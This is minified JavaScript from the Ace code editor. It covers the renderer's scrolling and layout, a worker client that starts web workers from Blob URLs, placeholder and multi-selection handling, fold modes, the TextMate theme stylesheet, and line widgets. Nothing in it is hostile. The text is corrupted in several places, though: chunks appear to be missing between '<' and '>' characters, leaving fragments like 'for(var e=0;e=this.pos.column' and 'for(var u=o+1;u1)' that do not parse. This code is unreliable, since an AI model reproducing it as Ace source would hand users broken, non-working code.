F=e.getFoldLine(v);F&&(v=F.start.row),p=e.documentToScreenRow(v,0),m=e.getRowLength(v)*w,C=Math.min(e.screenToDocumentRow(C,0),e.getLength()-1),h=t.scrollerHeight+e.getRowLength(C)*w+m,c=this.scrollTop-p*w;var b=0;return this.layerConfig.width!=o&&(b=this.CHANGE_H_SCROLL),(a||f)&&(b=this.$updateCachedSize(!0,this.gutterWidth,t.width,t.height),this._signal("scrollbarVisibilityChanged"),f&&(o=this.$getLongestLine())),this.layerConfig={width:o,padding:this.$padding,firstRow:v,firstRowScreen:p,lastRow:C,lineHeight:w,characterWidth:this.characterWidth,minHeight:h,maxHeight:s,offset:c,gutterOffset:w?Math.max(0,Math.ceil((c+t.height-t.scrollerHeight)/w)):0,height:this.$size.scrollerHeight},b},this.$updateLines=function(){if(this.$changedLines){var e=this.$changedLines.firstRow,t=this.$changedLines.lastRow;this.$changedLines=null;var i=this.layerConfig;if(!(e>i.lastRow+1)&&!(to?(t&&l+r>o+this.lineHeight&&(o-=t*this.$size.scrollerHeight),0===o&&(o=-this.scrollMargin.top),this.session.setScrollTop(o)):l+this.$size.scrollerHeight-as?(s=1-this.scrollMargin.top||(t>0&&this.session.getScrollTop()+this.$size.scrollerHeight-this.layerConfig.maxHeight<-1+this.scrollMargin.bottom||(e<0&&this.session.getScrollLeft()>=1-this.scrollMargin.left||(e>0&&this.session.getScrollLeft()+this.$size.scrollerWidth-this.layerConfig.width<-1+this.scrollMargin.right||void 0)))},this.pixelToScreenCoordinates=function(e,t){var i=this.scroller.getBoundingClientRect(),n=e+this.scrollLeft-i.left-this.$padding,s=n/this.characterWidth,o=Math.floor((t+this.scrollTop-i.top)/this.lineHeight),r=Math.round(s);return{row:o,column:r,side:s-r>0?1:-1,offsetX:n}},this.screenToTextCoordinates=function(e,t){var i=this.scroller.getBoundingClientRect(),n=e+this.scrollLeft-i.left-this.$padding,s=Math.round(n/this.characterWidth),o=(t+this.scrollTop-i.top)/this.lineHeight;return this.session.screenToDocumentPosition(o,Math.max(s,0),n)},this.textToScreenCoordinates=function(e,t){var i=this.scroller.getBoundingClientRect(),n=this.session.documentToScreenPosition(e,t),s=this.$padding+(this.session.$bidiHandler.isBidiRow(n.row,e)?this.session.$bidiHandler.getPosLeft(n.column):Math.round(n.column*this.characterWidth)),o=n.row*this.lineHeight;return{pageX:i.left+s-this.scrollLeft,pageY:i.top+o-this.scrollTop}},this.visualizeFocus=function(){s.addCssClass(this.container,"ace_focus")},this.visualizeBlur=function(){s.removeCssClass(this.container,"ace_focus")},this.showComposition=function(e){this.$composition||(this.$composition={keepTextAreaAtCursor:this.$keepTextAreaAtCursor,cssText:this.textarea.style.cssText}),this.$keepTextAreaAtCursor=!0,s.addCssClass(this.textarea,"ace_composition"),this.textarea.style.cssText="",this.$moveTextAreaToCursor()},this.setCompositionText=function(e){this.$moveTextAreaToCursor()},this.hideComposition=function(){this.$composition&&(s.removeCssClass(this.textarea,"ace_composition"),this.$keepTextAreaAtCursor=this.$composition.keepTextAreaAtCursor,this.textarea.style.cssText=this.$composition.cssText,this.$composition=null)},this.setTheme=function(e,t){var i=this;if(this.$themeId=e,i._dispatchEvent("themeChange",{theme:e}),e&&"string"!=typeof e)r(e);else{var n=e||this.$options.theme.initialValue;o.loadModule(["theme",n],r)}function r(n){if(i.$themeId!=e)return t&&t();if(!n||!n.cssClass)throw new Error("couldn't load module "+e+" or it didn't call define");s.importCssString(n.cssText,n.cssClass,i.container.ownerDocument),i.theme&&s.removeCssClass(i.container,i.theme.cssClass);var o="padding"in n?n.padding:"padding"in(i.theme||{})?4:i.$padding;i.$padding&&o!=i.$padding&&i.setPadding(o),i.$theme=n.cssClass,i.theme=n,s.addCssClass(i.container,n.cssClass),s.setCssClass(i.container,"ace_dark",n.isDark),i.$size&&(i.$size.width=0,i.$updateSizeAsync()),i._dispatchEvent("themeLoaded",{theme:n}),t&&t()}},this.getTheme=function(){return this.$themeId},this.setStyle=function(e,t){s.setCssClass(this.container,e,!1!==t)},this.unsetStyle=function(e){s.removeCssClass(this.container,e)},this.setCursorStyle=function(e){this.scroller.style.cursor!=e&&(this.scroller.style.cursor=e)},this.setMouseCursor=function(e){this.scroller.style.cursor=e},this.destroy=function(){this.$textLayer.destroy(),this.$cursorLayer.destroy()}}).call(A.prototype),o.defineOptions(A.prototype,"renderer",{animatedScroll:{initialValue:!1},showInvisibles:{set:function(e){this.$textLayer.setShowInvisibles(e)&&this.$loop.schedule(this.CHANGE_TEXT)},initialValue:!1},showPrintMargin:{set:function(){this.$updatePrintMargin()},initialValue:!0},printMarginColumn:{set:function(){this.$updatePrintMargin()},initialValue:80},printMargin:{set:function(e){"number"==typeof e&&(this.$printMarginColumn=e),this.$showPrintMargin=!!e,this.$updatePrintMargin()},get:function(){return this.$showPrintMargin&&this.$printMarginColumn}},showGutter:{set:function(e){this.$gutter.style.display=e?"block":"none",this.$loop.schedule(this.CHANGE_FULL),this.onGutterResize()},initialValue:!0},fadeFoldWidgets:{set:function(e){s.setCssClass(this.$gutter,"ace_fade-fold-widgets",e)},initialValue:!1},showFoldWidgets:{set:function(e){this.$gutterLayer.setShowFoldWidgets(e)},initialValue:!0},showLineNumbers:{set:function(e){this.$gutterLayer.setShowLineNumbers(e),this.$loop.schedule(this.CHANGE_GUTTER)},initialValue:!0},displayIndentGuides:{set:function(e){this.$textLayer.setDisplayIndentGuides(e)&&this.$loop.schedule(this.CHANGE_TEXT)},initialValue:!0},highlightGutterLine:{set:function(e){if(!this.$gutterLineHighlight)return this.$gutterLineHighlight=s.createElement("div"),this.$gutterLineHighlight.className="ace_gutter-active-line",void this.$gutter.appendChild(this.$gutterLineHighlight);this.$gutterLineHighlight.style.display=e?"":"none",this.$cursorLayer.$pixelPos&&this.$updateGutterLineHighlight()},initialValue:!1,value:!0},hScrollBarAlwaysVisible:{set:function(e){this.$hScrollBarAlwaysVisible&&this.$horizScroll||this.$loop.schedule(this.CHANGE_SCROLL)},initialValue:!1},vScrollBarAlwaysVisible:{set:function(e){this.$vScrollBarAlwaysVisible&&this.$vScroll||this.$loop.schedule(this.CHANGE_SCROLL)},initialValue:!1},fontSize:{set:function(e){"number"==typeof e&&(e+="px"),this.container.style.fontSize=e,this.updateFontSize()},initialValue:12},fontFamily:{set:function(e){this.container.style.fontFamily=e,this.updateFontSize()}},maxLines:{set:function(e){this.updateFull()}},minLines:{set:function(e){this.updateFull()}},maxPixelHeight:{set:function(e){this.updateFull()},initialValue:0},scrollPastEnd:{set:function(e){e=+e||0,this.$scrollPastEnd!=e&&(this.$scrollPastEnd=e,this.$loop.schedule(this.CHANGE_SCROLL))},initialValue:0,handlesSet:!0},fixedWidthGutter:{set:function(e){this.$gutterLayer.$fixedWidth=!!e,this.$loop.schedule(this.CHANGE_GUTTER)}},theme:{set:function(e){this.setTheme(e)},get:function(){return this.$themeId||this.theme},initialValue:"./theme/textmate",handlesSet:!0}}),t.VirtualRenderer=A})),ace.define("ace/worker/worker_client",["require","exports","module","ace/lib/oop","ace/lib/net","ace/lib/event_emitter","ace/config"],(function(e,t,i){"use strict";var n=e("../lib/oop"),s=e("../lib/net"),o=e("../lib/event_emitter").EventEmitter,r=e("../config");function a(e,t){var i=t.src;s.qualifyURL(e);try{return new Blob([i],{type:"application/javascript"})}catch(r){var n=window.BlobBuilder||window.WebKitBlobBuilder||window.MozBlobBuilder,o=new n;return o.append(i),o.getBlob("application/javascript")}}function l(e,t){var i=a(e,t),n=window.URL||window.webkitURL,s=n.createObjectURL(i);return new Worker(s)}var c=function(t,i,n,s,o){if(this.$sendDeltaQueue=this.$sendDeltaQueue.bind(this),this.changeListener=this.changeListener.bind(this),this.onMessage=this.onMessage.bind(this),e.nameToUrl&&!e.toUrl&&(e.toUrl=e.nameToUrl),r.get("packaged")||!e.toUrl)s=s||r.moduleUrl(i.id,"worker");else{var a=this.$normalizePath;s=s||a(e.toUrl("ace/worker/worker.js",null,"_"));var c={};t.forEach((function(t){c[t]=a(e.toUrl(t,null,"_").replace(/(\.js)?(\?.*)?$/,""))}))}this.$worker=l(s,i),o&&this.send("importScripts",o),this.$worker.postMessage({init:!0,tlns:c,module:i.id,classname:n}),this.callbackId=1,this.callbacks={},this.$worker.onmessage=this.onMessage};(function(){n.implement(this,o),this.onMessage=function(e){var t=e.data;switch(t.type){case"event":this._signal(t.name,{data:t.data});break;case"call":var i=this.callbacks[t.id];i&&(i(t.data),delete this.callbacks[t.id]);break;case"error":this.reportError(t.data);break;case"log":window.console&&console.log&&console.log.apply(console,t.data);break}},this.reportError=function(e){window.console&&console.error&&console.error(e)},this.$normalizePath=function(e){return s.qualifyURL(e)},this.terminate=function(){this._signal("terminate",{}),this.deltaQueue=null,this.$worker.terminate(),this.$worker=null,this.$doc&&this.$doc.off("change",this.changeListener),this.$doc=null},this.send=function(e,t){this.$worker.postMessage({command:e,args:t})},this.call=function(e,t,i){if(i){var n=this.callbackId++;this.callbacks[n]=i,t.push(n)}this.send(e,t)},this.emit=function(e,t){try{this.$worker.postMessage({event:e,data:{data:t.data}})}catch(i){console.error(i.stack)}},this.attachToDocument=function(e){this.$doc&&this.terminate(),this.$doc=e,this.call("setValue",[e.getValue()]),e.on("change",this.changeListener)},this.changeListener=function(e){this.deltaQueue||(this.deltaQueue=[],setTimeout(this.$sendDeltaQueue,0)),"insert"==e.action?this.deltaQueue.push(e.start,e.lines):this.deltaQueue.push(e.start,e.end)},this.$sendDeltaQueue=function(){var e=this.deltaQueue;e&&(this.deltaQueue=null,e.length>50&&e.length>this.$doc.getLength()>>1?this.call("setValue",[this.$doc.getValue()]):this.emit("change",{data:e}))}}).call(c.prototype);var h=function(e,t,i){this.$sendDeltaQueue=this.$sendDeltaQueue.bind(this),this.changeListener=this.changeListener.bind(this),this.callbackId=1,this.callbacks={},this.messageBuffer=[];var n=null,s=!1,a=Object.create(o),l=this;this.$worker={},this.$worker.terminate=function(){},this.$worker.postMessage=function(e){l.messageBuffer.push(e),n&&(s?setTimeout(c):c())},this.setEmitSync=function(e){s=e};var c=function(){var e=l.messageBuffer.shift();e.command?n[e.command].apply(n,e.args):e.event&&a._signal(e.event,e.data)};a.postMessage=function(e){l.onMessage({data:e})},a.callback=function(e,t){this.postMessage({type:"call",id:t,data:e})},a.emit=function(e,t){this.postMessage({type:"event",name:e,data:t})},r.loadModule(["worker",t],(function(e){n=new e[i](a);while(l.messageBuffer.length)c()}))};h.prototype=c.prototype,t.UIWorkerClient=h,t.WorkerClient=c,t.createWorker=l})),ace.define("ace/placeholder",["require","exports","module","ace/range","ace/lib/event_emitter","ace/lib/oop"],(function(e,t,i){"use strict";var n=e("./range").Range,s=e("./lib/event_emitter").EventEmitter,o=e("./lib/oop"),r=function(e,t,i,n,s,o){var r=this;this.length=t,this.session=e,this.doc=e.getDocument(),this.mainClass=s,this.othersClass=o,this.$onUpdate=this.onUpdate.bind(this),this.doc.on("change",this.$onUpdate),this.$others=n,this.$onCursorChange=function(){setTimeout((function(){r.onCursorChange()}))},this.$pos=i;var a=e.getUndoManager().$undoStack||e.getUndoManager().$undostack||{length:-1};this.$undoStackDepth=a.length,this.setup(),e.selection.on("changeCursor",this.$onCursorChange)};(function(){o.implement(this,s),this.setup=function(){var e=this,t=this.doc,i=this.session;this.selectionBefore=i.selection.toJSON(),i.selection.inMultiSelectMode&&i.selection.toSingleRange(),this.pos=t.createAnchor(this.$pos.row,this.$pos.column);var s=this.pos;s.$insertRight=!0,s.detach(),s.markerId=i.addMarker(new n(s.row,s.column,s.row,s.column+this.length),this.mainClass,null,!1),this.others=[],this.$others.forEach((function(i){var n=t.createAnchor(i.row,i.column);n.$insertRight=!0,n.detach(),e.others.push(n)})),i.setUndoSelect(!1)},this.showOtherMarkers=function(){if(!this.othersActive){var e=this.session,t=this;this.othersActive=!0,this.others.forEach((function(i){i.markerId=e.addMarker(new n(i.row,i.column,i.row,i.column+t.length),t.othersClass,null,!1)}))}},this.hideOtherMarkers=function(){if(this.othersActive){this.othersActive=!1;for(var e=0;e=this.pos.column&&t.start.column<=this.pos.column+this.length+1,o=t.start.column-this.pos.column;if(this.updateAnchors(e),s&&(this.length+=i),s&&!this.session.$fromUndo)if("insert"===e.action)for(var r=this.others.length-1;r>=0;r--){var a=this.others[r],l={row:a.row,column:a.column+o};this.doc.insertMergedLines(l,e.lines)}else if("remove"===e.action)for(r=this.others.length-1;r>=0;r--){a=this.others[r],l={row:a.row,column:a.column+o};this.doc.remove(new n(l.row,l.column,l.row,l.column-i))}this.$updating=!1,this.updateMarkers()}},this.updateAnchors=function(e){this.pos.onChange(e);for(var t=this.others.length;t--;)this.others[t].onChange(e);this.updateMarkers()},this.updateMarkers=function(){if(!this.$updating){var e=this,t=this.session,i=function(i,s){t.removeMarker(i.markerId),i.markerId=t.addMarker(new n(i.row,i.column,i.row,i.column+e.length),s,null,!1)};i(this.pos,this.mainClass);for(var s=this.others.length;s--;)i(this.others[s],this.othersClass)}},this.onCursorChange=function(e){if(!this.$updating&&this.session){var t=this.session.selection.getCursor();t.row===this.pos.row&&t.column>=this.pos.column&&t.column<=this.pos.column+this.length?(this.showOtherMarkers(),this._emit("cursorEnter",e)):(this.hideOtherMarkers(),this._emit("cursorLeave",e))}},this.detach=function(){this.session.removeMarker(this.pos&&this.pos.markerId),this.hideOtherMarkers(),this.doc.removeEventListener("change",this.$onUpdate),this.session.selection.removeEventListener("changeCursor",this.$onCursorChange),this.session.setUndoSelect(!0),this.session=null},this.cancel=function(){if(-1!==this.$undoStackDepth){for(var e=this.session.getUndoManager(),t=(e.$undoStack||e.$undostack).length-this.$undoStackDepth,i=0;i1&&!this.inMultiSelectMode&&(this._signal("multiSelect"),this.inMultiSelectMode=!0,this.session.$undoSelect=!1,this.rangeList.attach(this.session)),t||this.fromOrientedRange(e)}},this.toSingleRange=function(e){e=e||this.ranges[0];var t=this.rangeList.removeAll();t.length&&this.$onRemoveRange(t),e&&this.fromOrientedRange(e)},this.substractPoint=function(e){var t=this.rangeList.substractPoint(e);if(t)return this.$onRemoveRange(t),t[0]},this.mergeOverlappingRanges=function(){var e=this.rangeList.merge();e.length?this.$onRemoveRange(e):this.ranges[0]&&this.fromOrientedRange(this.ranges[0])},this.$onAddRange=function(e){this.rangeCount=this.rangeList.ranges.length,this.ranges.unshift(e),this._signal("addRange",{range:e})},this.$onRemoveRange=function(e){if(this.rangeCount=this.rangeList.ranges.length,1==this.rangeCount&&this.inMultiSelectMode){var t=this.rangeList.ranges.pop();e.push(t),this.rangeCount=0}for(var i=e.length;i--;){var n=this.ranges.indexOf(e[i]);this.ranges.splice(n,1)}this._signal("removeRange",{ranges:e}),0===this.rangeCount&&this.inMultiSelectMode&&(this.inMultiSelectMode=!1,this._signal("singleSelect"),this.session.$undoSelect=!0,this.rangeList.detach(this.session)),t=t||this.ranges[0],t&&!t.isEqual(this.getRange())&&this.fromOrientedRange(t)},this.$initRangeList=function(){this.rangeList||(this.rangeList=new n,this.ranges=[],this.rangeCount=0)},this.getAllRanges=function(){return this.rangeCount?this.rangeList.ranges.concat():[this.getRange()]},this.splitIntoLines=function(){if(this.rangeCount>1){var e=this.rangeList.ranges,t=e[e.length-1],i=s.fromPoints(e[0].start,t.end);this.toSingleRange(),this.setSelectionRange(i,t.cursor==t.start)}else{i=this.getRange();var n=this.isBackwards(),o=i.start.row,r=i.end.row;if(o==r){if(n)var a=i.end,l=i.start;else a=i.start,l=i.end;return this.addRange(s.fromPoints(l,l)),void this.addRange(s.fromPoints(a,a))}var c=[],h=this.getLineRange(o,!0);h.start.column=i.start.column,c.push(h);for(var u=o+1;u1){var e=this.rangeList.ranges,t=e[e.length-1],i=s.fromPoints(e[0].start,t.end);this.toSingleRange(),this.setSelectionRange(i,t.cursor==t.start)}else{var n=this.session.documentToScreenPosition(this.selectionLead),o=this.session.documentToScreenPosition(this.selectionAnchor),r=this.rectangularRangeBlock(n,o);r.forEach(this.addRange,this)}},this.rectangularRangeBlock=function(e,t,i){var n=[],o=e.column0)A--;if(A>0){var v=0;while(n[v].isEmpty())v++}for(var C=A;C>=v;C--)n[C].isEmpty()&&n.splice(C,1)}return n}}.call(o.prototype);var f=e("./editor").Editor;function p(e,t){return e.row==t.row&&e.column==t.column}function m(e){e.$multiselectOnSessionChange||(e.$onAddRange=e.$onAddRange.bind(e),e.$onRemoveRange=e.$onRemoveRange.bind(e),e.$onMultiSelect=e.$onMultiSelect.bind(e),e.$onSingleSelect=e.$onSingleSelect.bind(e),e.$multiselectOnSessionChange=t.onSessionChange.bind(e),e.$checkMultiselectChange=e.$checkMultiselectChange.bind(e),e.$multiselectOnSessionChange(e),e.on("changeSession",e.$multiselectOnSessionChange),e.on("mousedown",r),e.commands.addCommands(c.defaultCommands),A(e))}function A(e){var t=e.textInput.getElement(),i=!1;function n(t){i&&(e.renderer.setMouseCursor(""),i=!1)}a.addListener(t,"keydown",(function(t){var s=18==t.keyCode&&!(t.ctrlKey||t.shiftKey||t.metaKey);e.$blockSelectEnabled&&s?i||(e.renderer.setMouseCursor("crosshair"),i=!0):i&&n()})),a.addListener(t,"keyup",n),a.addListener(t,"blur",n)}(function(){this.updateSelectionMarkers=function(){this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.addSelectionMarker=function(e){e.cursor||(e.cursor=e.end);var t=this.getSelectionStyle();return e.marker=this.session.addMarker(e,"ace_selection",t),this.session.$selectionMarkers.push(e),this.session.selectionMarkerCount=this.session.$selectionMarkers.length,e},this.removeSelectionMarker=function(e){if(e.marker){this.session.removeMarker(e.marker);var t=this.session.$selectionMarkers.indexOf(e);-1!=t&&this.session.$selectionMarkers.splice(t,1),this.session.selectionMarkerCount=this.session.$selectionMarkers.length}},this.removeSelectionMarkers=function(e){for(var t=this.session.$selectionMarkers,i=e.length;i--;){var n=e[i];if(n.marker){this.session.removeMarker(n.marker);var s=t.indexOf(n);-1!=s&&t.splice(s,1)}}this.session.selectionMarkerCount=t.length},this.$onAddRange=function(e){this.addSelectionMarker(e.range),this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.$onRemoveRange=function(e){this.removeSelectionMarkers(e.ranges),this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.$onMultiSelect=function(e){this.inMultiSelectMode||(this.inMultiSelectMode=!0,this.setStyle("ace_multiselect"),this.keyBinding.addKeyboardHandler(c.keyboardHandler),this.commands.setDefaultHandler("exec",this.$onMultiSelectExec),this.renderer.updateCursor(),this.renderer.updateBackMarkers())},this.$onSingleSelect=function(e){this.session.multiSelect.inVirtualMode||(this.inMultiSelectMode=!1,this.unsetStyle("ace_multiselect"),this.keyBinding.removeKeyboardHandler(c.keyboardHandler),this.commands.removeDefaultHandler("exec",this.$onMultiSelectExec),this.renderer.updateCursor(),this.renderer.updateBackMarkers(),this._emit("changeSelection"))},this.$onMultiSelectExec=function(e){var t=e.command,i=e.editor;if(i.multiSelect){if(t.multiSelectAction)"forEach"==t.multiSelectAction?n=i.forEachSelection(t,e.args):"forEachLine"==t.multiSelectAction?n=i.forEachSelection(t,e.args,!0):"single"==t.multiSelectAction?(i.exitMultiSelectMode(),n=t.exec(i,e.args||{})):n=t.multiSelectAction(i,e.args||{});else{var n=t.exec(i,e.args||{});i.multiSelect.addRange(i.multiSelect.toOrientedRange()),i.multiSelect.mergeOverlappingRanges()}return n}},this.forEachSelection=function(e,t,i){if(!this.inVirtualSelectionMode){var n,s=i&&i.keepOrder,r=1==i||i&&i.$byLines,a=this.session,l=this.selection,c=l.rangeList,h=(s?l:c).ranges;if(!h.length)return e.exec?e.exec(this,t||{}):e(this,t||{});var u=l._eventRegistry;l._eventRegistry={};var d=new o(a);this.inVirtualSelectionMode=!0;for(var g=h.length;g--;){if(r)while(g>0&&h[g].start.row==h[g-1].end.row)g--;d.fromOrientedRange(h[g]),d.index=g,this.selection=a.selection=d;var f=e.exec?e.exec(this,t||{}):e(this,t||{});n||void 0===f||(n=f),d.toOrientedRange(h[g])}d.detach(),this.selection=a.selection=l,this.inVirtualSelectionMode=!1,l._eventRegistry=u,l.mergeOverlappingRanges();var p=this.renderer.$scrollAnimation;return this.onCursorChange(),this.onSelectionChange(),p&&p.from==p.to&&this.renderer.animateScrolling(p.from),n}},this.exitMultiSelectMode=function(){this.inMultiSelectMode&&!this.inVirtualSelectionMode&&this.multiSelect.toSingleRange()},this.getSelectedText=function(){var e="";if(this.inMultiSelectMode&&!this.inVirtualSelectionMode){for(var t=this.multiSelect.rangeList.ranges,i=[],n=0;nr&&(r=i.column),sh?e.insert(n,l.stringRepeat(" ",o-h)):e.remove(new s(n.row,n.column,n.row,n.column-o+h)),t.start.column=t.end.column=r,t.start.row=t.end.row=n.row,t.cursor=t.end})),t.fromOrientedRange(i[0]),this.renderer.updateCursor(),this.renderer.updateBackMarkers()}else{var h=this.selection.getRange(),u=h.start.row,d=h.end.row,g=u==d;if(g){var f,p=this.session.getLength();do{f=this.session.getLine(d)}while(/[=:]/.test(f)&&++d0);u<0&&(u=0),d>=p&&(d=p-1)}var m=this.session.removeFullLines(u,d);m=this.$reAlignText(m,g),this.session.insert({row:u,column:0},m.join("\n")+"\n"),g||(h.start.column=0,h.end.column=m[m.length-1].length),this.selection.setRange(h)}},this.$reAlignText=function(e,t){var i,n,s,o=!0,r=!0;return e.map((function(e){var t=e.match(/(\s*)(.*?)(\s*)([=:].*)/);return t?null==i?(i=t[1].length,n=t[2].length,s=t[3].length,t):(i+n+s!=t[1].length+t[2].length+t[3].length&&(r=!1),i!=t[1].length&&(o=!1),i>t[1].length&&(i=t[1].length),nt[3].length&&(s=t[3].length),t):[e]})).map(t?c:o?r?h:c:u);function a(e){return l.stringRepeat(" ",e)}function c(e){return e[2]?a(i)+e[2]+a(n-e[2].length+s)+e[4].replace(/^([=:])\s+/,"$1 "):e[0]}function h(e){return e[2]?a(i+n-e[2].length)+e[2]+a(s," ")+e[4].replace(/^([=:])\s+/,"$1 "):e[0]}function u(e){return e[2]?a(i)+e[2]+a(s)+e[4].replace(/^([=:])\s+/,"$1 "):e[0]}}}).call(f.prototype),t.onSessionChange=function(e){var t=e.session;t&&!t.multiSelect&&(t.$selectionMarkers=[],t.selection.$initRangeList(),t.multiSelect=t.selection),this.multiSelect=t&&t.multiSelect;var i=e.oldSession;i&&(i.multiSelect.off("addRange",this.$onAddRange),i.multiSelect.off("removeRange",this.$onRemoveRange),i.multiSelect.off("multiSelect",this.$onMultiSelect),i.multiSelect.off("singleSelect",this.$onSingleSelect),i.multiSelect.lead.off("change",this.$checkMultiselectChange),i.multiSelect.anchor.off("change",this.$checkMultiselectChange)),t&&(t.multiSelect.on("addRange",this.$onAddRange),t.multiSelect.on("removeRange",this.$onRemoveRange),t.multiSelect.on("multiSelect",this.$onMultiSelect),t.multiSelect.on("singleSelect",this.$onSingleSelect),t.multiSelect.lead.on("change",this.$checkMultiselectChange),t.multiSelect.anchor.on("change",this.$checkMultiselectChange)),t&&this.inMultiSelectMode!=t.selection.inMultiSelectMode&&(t.selection.inMultiSelectMode?this.$onMultiSelect():this.$onSingleSelect())},t.MultiSelect=m,e("./config").defineOptions(f.prototype,"editor",{enableMultiselect:{set:function(e){m(this),e?(this.on("changeSession",this.$multiselectOnSessionChange),this.on("mousedown",r)):(this.off("changeSession",this.$multiselectOnSessionChange),this.off("mousedown",r))},value:!0},enableBlockSelect:{set:function(e){this.$blockSelectEnabled=e},value:!0}})})),ace.define("ace/mode/folding/fold_mode",["require","exports","module","ace/range"],(function(e,t,i){"use strict";var n=e("../../range").Range,s=t.FoldMode=function(){};(function(){this.foldingStartMarker=null,this.foldingStopMarker=null,this.getFoldWidget=function(e,t,i){var n=e.getLine(i);return this.foldingStartMarker.test(n)?"start":"markbeginend"==t&&this.foldingStopMarker&&this.foldingStopMarker.test(n)?"end":""},this.getFoldWidgetRange=function(e,t,i){return null},this.indentationBlock=function(e,t,i){var s=/\S/,o=e.getLine(t),r=o.search(s);if(-1!=r){var a=i||o.length,l=e.getLength(),c=t,h=t;while(++tc){var d=e.getLine(h).length;return new n(c,a,h,d)}}},this.openingBracketBlock=function(e,t,i,s,o){var r={row:i,column:s+1},a=e.$findClosingBracket(t,r,o);if(a){var l=e.foldWidgets[a.row];return null==l&&(l=e.getFoldWidget(a.row)),"start"==l&&a.row>r.row&&(a.row--,a.column=e.getLine(a.row).length),n.fromPoints(r,a)}},this.closingBracketBlock=function(e,t,i,s,o){var r={row:i,column:s},a=e.$findOpeningBracket(t,r);if(a)return a.column++,r.column--,n.fromPoints(a,r)}}).call(s.prototype)})),ace.define("ace/theme/textmate",["require","exports","module","ace/lib/dom"],(function(e,t,i){"use strict";t.isDark=!1,t.cssClass="ace-tm",t.cssText='.ace-tm .ace_gutter {background: #f0f0f0;color: #333;}.ace-tm .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-tm .ace_fold {background-color: #6B72E6;}.ace-tm {background-color: #FFFFFF;color: black;}.ace-tm .ace_cursor {color: black;}.ace-tm .ace_invisible {color: rgb(191, 191, 191);}.ace-tm .ace_storage,.ace-tm .ace_keyword {color: blue;}.ace-tm .ace_constant {color: rgb(197, 6, 11);}.ace-tm .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-tm .ace_constant.ace_language {color: rgb(88, 92, 246);}.ace-tm .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-tm .ace_invalid {background-color: rgba(255, 0, 0, 0.1);color: red;}.ace-tm .ace_support.ace_function {color: rgb(60, 76, 114);}.ace-tm .ace_support.ace_constant {color: rgb(6, 150, 14);}.ace-tm .ace_support.ace_type,.ace-tm .ace_support.ace_class {color: rgb(109, 121, 222);}.ace-tm .ace_keyword.ace_operator {color: rgb(104, 118, 135);}.ace-tm .ace_string {color: rgb(3, 106, 7);}.ace-tm .ace_comment {color: rgb(76, 136, 107);}.ace-tm .ace_comment.ace_doc {color: rgb(0, 102, 255);}.ace-tm .ace_comment.ace_doc.ace_tag {color: rgb(128, 159, 191);}.ace-tm .ace_constant.ace_numeric {color: rgb(0, 0, 205);}.ace-tm .ace_variable {color: rgb(49, 132, 149);}.ace-tm .ace_xml-pe {color: rgb(104, 104, 91);}.ace-tm .ace_entity.ace_name.ace_function {color: #0000A2;}.ace-tm .ace_heading {color: rgb(12, 7, 255);}.ace-tm .ace_list {color:rgb(185, 6, 144);}.ace-tm .ace_meta.ace_tag {color:rgb(0, 22, 142);}.ace-tm .ace_string.ace_regex {color: rgb(255, 0, 0)}.ace-tm .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-tm.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px white;}.ace-tm .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-tm .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-tm .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-tm .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.07);}.ace-tm .ace_gutter-active-line {background-color : #dcdcdc;}.ace-tm .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-tm .ace_indent-guide {background: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==") right repeat-y;}';var n=e("../lib/dom");n.importCssString(t.cssText,t.cssClass)})),ace.define("ace/line_widgets",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/range"],(function(e,t,i){"use strict";e("./lib/oop");var n=e("./lib/dom");e("./range").Range;function s(e){this.session=e,this.session.widgetManager=this,this.session.getRowLength=this.getRowLength,this.session.$getWidgetScreenLength=this.$getWidgetScreenLength,this.updateOnChange=this.updateOnChange.bind(this),this.renderWidgets=this.renderWidgets.bind(this),this.measureWidgets=this.measureWidgets.bind(this),this.session._changedWidgets=[],this.$onChangeEditor=this.$onChangeEditor.bind(this),this.session.on("change",this.updateOnChange),this.session.on("changeFold",this.updateOnFold),this.session.on("changeEditor",this.$onChangeEditor)}(function(){this.getRowLength=function(e){var t;return t=this.lineWidgets&&this.lineWidgets[e]&&this.lineWidgets[e].rowCount||0,this.$useWrapMode&&this.$wrapData[e]?this.$wrapData[e].length+1+t:1+t},this.$getWidgetScreenLength=function(){var e=0;return this.lineWidgets.forEach((function(t){t&&t.rowCount&&!t.hidden&&(e+=t.rowCount)})),e},this.$onChangeEditor=function(e){this.attach(e.editor)},this.attach=function(e){e&&e.widgetManager&&e.widgetManager!=this&&e.widgetManager.detach(),this.editor!=e&&(this.detach(),this.editor=e,e&&(e.widgetManager=this,e.renderer.on("beforeRender",this.measureWidgets),e.renderer.on("afterRender",this.renderWidgets)))},this.detach=function(e){var t=this.editor;if(t){this.editor=null,t.widgetManager=null,t.renderer.off("beforeRender",this.measureWidgets),t.renderer.off("afterRender",this.renderWidgets);var i=this.session.lineWidgets;i&&i.forEach((function(e){e&&e.el&&e.el.parentNode&&(e._inDocument=!1,e.el.parentNode.removeChild(e.el))}))}},this.updateOnFold=function(e,t){var i=t.lineWidgets;if(i&&e.action){for(var n=e.data,s=n.start.row,o=n.end.row,r="add"==e.action,a=s+1;a0&&!n[s])s--;this.firstRow=i.firstRow,this.lastRow=i.lastRow,t.$cursorLayer.config=i;for(var r=s;r<=o;r++){var a=n[r];if(a&&a.el)if(a.hidden)a.el.style.top=-100-(a.pixelHeight||0)+"px";else{a._inDocument||(a._inDocument=!0,t.container.appendChild(a.el));var l=t.$cursorLayer.getPixelPosition({row:r,column:0},!0).top;a.coverLine||(l+=i.lineHeight*this.session.getRowLineCount(a.row)),a.el.style.top=l-i.offset+"px";var 